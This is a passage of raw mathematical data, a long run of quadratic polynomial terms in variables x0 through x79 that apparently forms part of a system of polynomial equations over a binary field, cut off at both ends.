x10*x54 + x10*x55 + x10*x56 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x25 + x11*x26 + x11*x28 + x11*x29 + x11*x32 + x11*x33 + x11*x34 + x11*x36 + x11*x40 + x11*x42 + x11*x43 + x11*x45 + x11*x46 + x11*x50 + x11*x52 + x11*x55 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x72 + x11*x73 + x11*x77 + x11*x78 + x11 + x12*x13 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x25 + x12*x27 + x12*x29 + x12*x30 + x12*x33 + x12*x35 + x12*x37 + x12*x38 + x12*x40 + x12*x46 + x12*x48 + x12*x49 + x12*x51 + x12*x52 + x12*x53 + x12*x54 + x12*x58 + x12*x60 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x73 + x12*x76 + x12*x78 + x13*x14 + x13*x15 + x13*x17 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x30 + x13*x31 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x41 + x13*x43 + x13*x45 + x13*x46 + x13*x48 + x13*x49 + x13*x52 + x13*x54 + x13*x57 + x13*x59 + x13*x61 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x68 + x13*x71 + x13*x73 + x13*x76 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x18 + x14*x19 + x14*x20 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x28 + x14*x29 + x14*x30 + x14*x31 + x14*x34 + x14*x37 + x14*x40 + x14*x41 + x14*x44 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x57 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x21 + x15*x22 + x15*x25 + x15*x26 + x15*x29 + x15*x33 + x15*x34 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x49 + x15*x50 + x15*x55 + x15*x57 + x15*x58 + x15*x60 + x15*x61 + x15*x63 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x75 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x19 + x16*x20 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x45 + x16*x48 + x16*x50 + x16*x52 + x16*x55 + x16*x58 + x16*x60 + x16*x63 + x16*x64 + x16*x70 + x16*x73 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x23 + x17*x24 + x17*x25 + x17*x30 + x17*x31 + x17*x32 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x44 + x17*x48 + x17*x49 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x66 + x17*x69 + x17*x70 + x17*x71 + x17*x73 + x17*x74 + x17*x77 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x31 + x18*x32 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x51 + x18*x54 + x18*x56 + x18*x59 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x45 + x19*x49 + x19*x52 + x19*x53 + x19*x55 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x62 + x19*x64 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x72 + x19*x74 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x25 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x37 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x44 + x20*x47 + x20*x49 + x20*x51 + x20*x54 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x27 + x21*x29 + x21*x30 + x21*x37 + x21*x39 + x21*x40 + x21*x41 + x21*x46 + x21*x47 + x21*x49 + x21*x51 + x21*x52 + x21*x54 + x21*x57 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x71 + x21*x73 + x21*x74 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x28 + x22*x29 + x22*x32 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x49 + x22*x50 + x22*x54 + x22*x59 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x76 + x22 + x23*x24 + x23*x25 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x47 + x23*x49 + x23*x56 + x23*x58 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x67 + x23*x69 + x23*x74 + x23*x77 + x23*x78 + x23*x79 + x23 + x24*x28 + x24*x29 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x36 + x24*x39 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x48 + x24*x51 + x24*x56 + x24*x57 + x24*x60 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x25*x28 + x25*x29 + x25*x32 + x25*x33 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x52 + x25*x57 + x25*x58 + x25*x59 + x25*x60 + x25*x61 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x68 + x25*x70 + x25*x73 + x25*x74 + x25*x77 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x59 + x26*x61 + x26*x62 + x26*x65 + x26*x67 + x26*x75 + x26*x76 + x26 + x27*x31 + x27*x36 + x27*x37 + x27*x39 + x27*x41 + x27*x44 + x27*x45 + x27*x46 + x27*x47 + x27*x48 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x59 + x27*x63 + x27*x65 + x27*x69 + x27*x70 + x27*x71 + x27*x74 + x27*x76 + x27*x77 + x27*x79 + x28*x31 + x28*x32 + x28*x35 + x28*x39 + x28*x41 + x28*x42 + x28*x43 + x28*x47 + x28*x48 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x58 + x28*x62 + x28*x65 + x28*x67 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x29*x33 + x29*x34 + x29*x35 + x29*x43 + x29*x45 + x29*x48 + x29*x50 + x29*x51 + x29*x54 + x29*x57 + x29*x59 + x29*x60 + x29*x66 + x29*x67 + x29*x68 + x29*x69 + x29*x71 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x79 + x30*x31 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x54 + x30*x56 + x30*x57 + x30*x61 + x30*x63 + x30*x65 + x30*x67 + x30*x71 + x30*x74 + x30*x75 + x30*x76 + x31*x32 + x31*x33 + x31*x34 + x31*x36 + x31*x37 + x31*x39 + x31*x40 + x31*x42 + x31*x45 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x59 + x31*x61 + x31*x62 + x31*x64 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x72 + x31*x77 + x31*x78 + x32*x39 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x47 + x32*x51 + x32*x53 + x32*x60 + x32*x61 + x32*x63 + x32*x64 + x32*x73 + x32*x75 + x32*x79 + x32 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x54 + x33*x55 + x33*x56 + x33*x60 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x45 + x34*x49 + x34*x50 + x34*x51 + x34*x55 + x34*x56 + x34*x58 + x34*x60 + x34*x63 + x34*x64 + x34*x69 + x34*x72 + x34*x75 + x34*x76 + x34 + x35*x36 + x35*x37 + x35*x40 + x35*x44 + x35*x48 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x71 + x35*x76 + x35 + x36*x37 + x36*x39 + x36*x42 + x36*x43 + x36*x44 + x36*x46 + x36*x48 + x36*x53 + x36*x54 + x36*x55 + x36*x61 + x36*x65 + x36*x68 + x36*x70 + x36*x74 + x36*x75 + x36*x78 + x36 + x37*x40 + x37*x41 + x37*x42 + x37*x44 + x37*x45 + x37*x46 + x37*x47 + x37*x48 + x37*x50 + x37*x51 + x37*x54 + x37*x55 + x37*x56 + x37*x57 + x37*x58 + x37*x61 + x37*x63 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x75 + x37*x76 + x37*x77 + x37 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x47 + x38*x49 + x38*x50 + x38*x52 + x38*x53 + x38*x57 + x38*x59 + x38*x60 + x38*x63 + x38*x67 + x38*x68 + x38*x69 + x38*x72 + x38*x74 + x38*x75 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x46 + x39*x48 + x39*x50 + x39*x54 + x39*x58 + x39*x59 + x39*x60 + x39*x66 + x39*x68 + x39*x70 + x39*x71 + x39*x74 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x43 + x40*x46 + x40*x49 + x40*x50 + x40*x52 + x40*x54 + x40*x55 + x40*x57 + x40*x59 + x40*x60 + x40*x62 + x40*x64 + x40*x66 + x40*x68 + x40*x71 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x41*x46 + x41*x49 + x41*x52 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x61 + x41*x64 + x41*x65 + x41*x69 + x41*x71 + x41*x73 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x42*x45 + x42*x48 + x42*x49 + x42*x51 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x69 + x42*x70 + x42*x76 + x42*x77 + x43*x44 + x43*x45 + x43*x46 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x58 + x43*x59 + x43*x60 + x43*x62 + x43*x67 + x43*x68 + x43*x69 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x44*x49 + x44*x50 + x44*x51 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x61 + x44*x62 + x44*x63 + x44*x64 + x44*x66 + x44*x67 + x44*x71 + x44*x72 + x44*x74 + x44*x77 + x44*x79 + x45*x50 + x45*x52 + x45*x55 + x45*x56 + x45*x58 + x45*x59 + x45*x62 + x45*x64 + x45*x66 + x45*x70 + x45*x71 + x45*x72 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x79 + x45 + x46*x47 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x55 + x46*x57 + x46*x58 + x46*x59 + x46*x60 + x46*x61 + x46*x62 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x75 + x46*x78 + x46*x79 + x47*x48 + x47*x50 + x47*x52 + x47*x53 + x47*x54 + x47*x56 + x47*x61 + x47*x66 + x47*x69 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x47*x79 + x48*x49 + x48*x52 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x72 + x48*x74 + x48 + x49*x50 + x49*x55 + x49*x57 + x49*x59 + x49*x61 + x49*x63 + x49*x65 + x49*x68 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x61 + x50*x62 + x50*x65 + x50*x66 + x50*x68 + x50*x69 + x50*x71 + x50*x72 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x54 + x52*x56 + x52*x57 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x53*x55 + x53*x57 + x53*x58 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x70 + x53*x71 + x53*x76 + x53*x77 + x53*x78 + x53*x79 + x54*x55 + x54*x56 + x54*x58 + x54*x60 + x54*x62 + x54*x63 + x54*x64 + x54*x68 + x54*x72 + x54*x73 + x54*x74 + x54*x75 + x54*x76 + x54*x78 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x71 + x55*x73 + x55*x74 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x68 + x56*x69 + x56*x71 + x56*x72 + x56*x74 + x56*x79 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x65 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x73 + x57*x75 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x76 + x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x64 + x60*x66 + x60*x67 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x69 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x77 + x62*x78 + x63*x64 + x63*x66 + x63*x70 + x63*x71 + x63*x74 + x63*x75 + x63*x77 + x63 + x64*x66 + x64*x68 + x64*x73 + x64*x74 + x64*x76 + x64*x77 + x64*x78 + x64 + x65*x67 + x65*x70 + x65*x74 + x65 + x66*x68 + x66*x69 + x66*x71 + x66*x72 + x66 + x67*x70 + x67*x72 + x67*x73 + x67*x75 + x67*x76 + x67*x77 + x68*x70 + x68*x71 + x68*x75 + x68*x76 + x69*x71 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x76 + x70*x77 + x70*x79 + x71*x72 + x71*x73 + x71*x76 + x71 + x72*x75 + x72*x77 + x73*x77 + x73*x79 + x74*x79 + x75*x76 + x75*x78 + x75*x79 + x75 + x76*x78 + x76*x79 + x76 + x77 + x79, x0*x1 + x0*x3 + x0*x4 + x0*x6 + x0*x10 + x0*x11 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x22 + x0*x23 + x0*x25 + x0*x29 + x0*x31 + x0*x32 + x0*x37 + x0*x39 + x0*x40 + x0*x43 + x0*x45 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x69 + x0*x71 + x0*x72 + x0*x76 + x0*x78 + x0 + x1*x3 + x1*x5 + x1*x10 + x1*x12 + x1*x15 + x1*x19 + x1*x24 + x1*x29 + x1*x30 + x1*x32 + x1*x33 + x1*x35 + x1*x36 + x1*x39 + x1*x42 + x1*x43 + x1*x48 + x1*x50 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x72 + x1*x73 + x1*x75 + x1*x77 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x14 + x2*x18 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x40 + x2*x43 + x2*x44 + x2*x47 + x2*x48 + x2*x49 + x2*x54 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x64 + x2*x67 + x2*x68 + x2*x71 + x2*x73 + x2*x74 + x2*x76 + x3*x5 + x3*x6 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x23 + x3*x29 + x3*x30 + x3*x32 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x77 + x3*x79 + x4*x5 + x4*x7 + x4*x8 + x4*x12 + x4*x19 + x4*x21 + x4*x23 + x4*x25 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x33 + x4*x36 + x4*x37 + x4*x39 + x4*x40 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x49 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x60 + x4*x61 + x4*x64 + x4*x67 + x4*x70 + x4*x71 + x4*x74 + x4*x77 + x4*x78 + x5*x6 + x5*x12 + x5*x15 + x5*x16 + x5*x17 + x5*x19 + x5*x20 + x5*x21 + x5*x25 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x37 + x5*x38 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x50 + x5*x52 + x5*x53 + x5*x55 + x5*x58 + x5*x61 + x5*x63 + x5*x64 + x5*x66 + x5*x69 + x5*x71 + x5*x77 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x12 + x6*x14 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x21 + x6*x22 + x6*x28 + x6*x31 + x6*x34 + x6*x38 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x46 + x6*x47 + x6*x50 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x62 + x6*x64 + x6*x66 + x6*x69 + x6*x75 + x6*x77 + x6*x78 + x7*x9 + x7*x11 + x7*x12 + x7*x17 + x7*x20 + x7*x21 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x33 + x7*x35 + x7*x43 + x7*x44 + x7*x45 + x7*x46 + x7*x49 + x7*x51 + x7*x52 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x59 + x7*x62 + x7*x64 + x7*x66 + x7*x68 + x7*x76 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x22 + x8*x23 + x8*x25 + x8*x26 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x38 + x8*x40 + x8*x41 + x8*x43 + x8*x44 + x8*x46 + x8*x48 + x8*x52 + x8*x53 + x8*x54 + x8*x57 + x8*x58 + x8*x63 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x76 + x8*x77 + x8*x78 + x9*x15 + x9*x16 + x9*x17 + x9*x19 + x9*x21 + x9*x26 + x9*x28 + x9*x29 + x9*x31 + x9*x32 + x9*x35 + x9*x37 + x9*x39 + x9*x42 + x9*x44 + x9*x46 + x9*x48 + x9*x49 + x9*x51 + x9*x57 + x9*x62 + x9*x63 + x9*x65 + x9*x66 + x9*x67 + x9*x69 + x9*x73 + x9*x76 + x9*x77 + x9 + x10*x15 + x10*x17 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x29 + x10*x33 + x10*x34 + x10*x36 + x10*x37 + x10*x38 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x49 + x10*x50 + x10*x52 + x10*x53 + x10*x54 + x10*x60 + x10*x61 + x10*x62 + x10*x64 + x10*x65 + x10*x66 + x10*x69 + x10*x70 + x10*x73 + x10*x75 + x10*x77 + x10*x79 + x11*x13 + x11*x14 + x11*x16 + x11*x17 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x27 + x11*x28 + x11*x29 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x43 + x11*x44 + x11*x47 + x11*x48 + x11*x50 + x11*x54 + x11*x59 + x11*x66 + x11*x69 + x11*x70 + x11*x74 + x11*x75 + x11*x76 + x11*x78 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x28 + x12*x29 + x12*x30 + x12*x34 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x55 + x12*x56 + x12*x57 + x12*x61 + x12*x65 + x12*x71 + x12*x73 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x14 + x13*x16 + x13*x17 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x33 + x13*x34 + x13*x35 + x13*x40 + x13*x42 + x13*x46 + x13*x48 + x13*x49 + x13*x53 + x13*x55 + x13*x58 + x13*x61 + x13*x67 + x13*x68 + x13*x69 + x13*x71 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x13 + x14*x15 + x14*x17 + x14*x20 + x14*x22 + x14*x25 + x14*x27 + x14*x30 + x14*x32 + x14*x36 + x14*x38 + x14*x42 + x14*x45 + x14*x46 + x14*x51 + x14*x53 + x14*x54 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x70 + x14*x71 + x14*x74 + x14*x76 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x24 + x15*x25 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x47 + x15*x48 + x15*x49 + x15*x52 + x15*x54 + x15*x55 + x15*x56 + x15*x57 + x15*x59 + x15*x61 + x15*x65 + x15*x68 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x75 + x15*x76 + x15*x78 + x16*x17 + x16*x18 + x16*x19 + x16*x21 + x16*x23 + x16*x28 + x16*x29 + x16*x32 + x16*x39 + x16*x43 + x16*x44 + x16*x45 + x16*x55 + x16*x56 + x16*x57 + x16*x59 + x16*x62 + x16*x64 + x16*x65 + x16*x69 + x16*x75 + x16*x76 + x16*x77 + x16*x79 + x16 + x17*x19 + x17*x21 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x40 + x17*x45 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x56 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x69 + x17*x72 + x17*x75 + x17*x76 + x17*x78 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x29 + x18*x33 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x43 + x18*x45 + x18*x46 + x18*x48 + x18*x52 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x59 + x18*x62 + x18*x66 + x18*x70 + x18*x71 + x18*x72 + x18*x74 + x18*x75 + x18*x78 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x40 + x19*x41 + x19*x42 + x19*x43 + x19*x45 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x55 + x19*x57 + x19*x58 + x19*x63 + x19*x70 + x19*x71 + x19*x74 + x19*x76 + x19*x77 + x19*x78 + x19*x79 + x20*x21 + x20*x23 + x20*x26 + x20*x27 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x37 + x20*x38 + x20*x40 + x20*x43 + x20*x46 + x20*x48 + x20*x49 + x20*x51 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x62 + x20*x66 + x20*x69 + x20*x73 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x25 + x21*x28 + x21*x31 + x21*x32 + x21*x33 + x21*x35 + x21*x36 + x21*x45 + x21*x46 + x21*x48 + x21*x49 + x21*x50 + x21*x55 + x21*x57 + x21*x59 + x21*x62 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x74 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x29 + x22*x32 + x22*x33 + x22*x37 + x22*x38 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x57 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x67 + x22*x68 + x22*x71 + x22*x72 + x22*x78 + x22 + x23*x25 + x23*x26 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x41 + x23*x47 + x23*x49 + x23*x50 + x23*x54 + x23*x55 + x23*x56 + x23*x57 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x75 + x23 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x50 + x24*x52 + x24*x54 + x24*x56 + x24*x57 + x24*x59 + x24*x61 + x24*x65 + x24*x66 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x75 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x43 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x62 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x31 + x26*x32 + x26*x38 + x26*x42 + x26*x50 + x26*x56 + x26*x64 + x26*x66 + x26*x72 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x43 + x27*x44 + x27*x45 + x27*x47 + x27*x54 + x27*x55 + x27*x59 + x27*x60 + x27*x62 + x27*x70 + x27*x72 + x27*x73 + x27*x74 + x27*x76 + x28*x31 + x28*x32 + x28*x33 + x28*x39 + x28*x41 + x28*x42 + x28*x43 + x28*x44 + x28*x45 + x28*x50 + x28*x53 + x28*x55 + x28*x58 + x28*x59 + x28*x61 + x28*x65 + x28*x67 + x28*x70 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x49 + x29*x50 + x29*x53 + x29*x54 + x29*x57 + x29*x59 + x29*x62 + x29*x68 + x29*x74 + x29*x76 + x29*x77 + x29*x79 + x29 + x30*x35 + x30*x36 + x30*x37 + x30*x38 + x30*x42 + x30*x43 + x30*x46 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x55 + x30*x58 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x65 + x30*x66 + x30*x67 + x30*x70 + x30*x71 + x30*x72 + 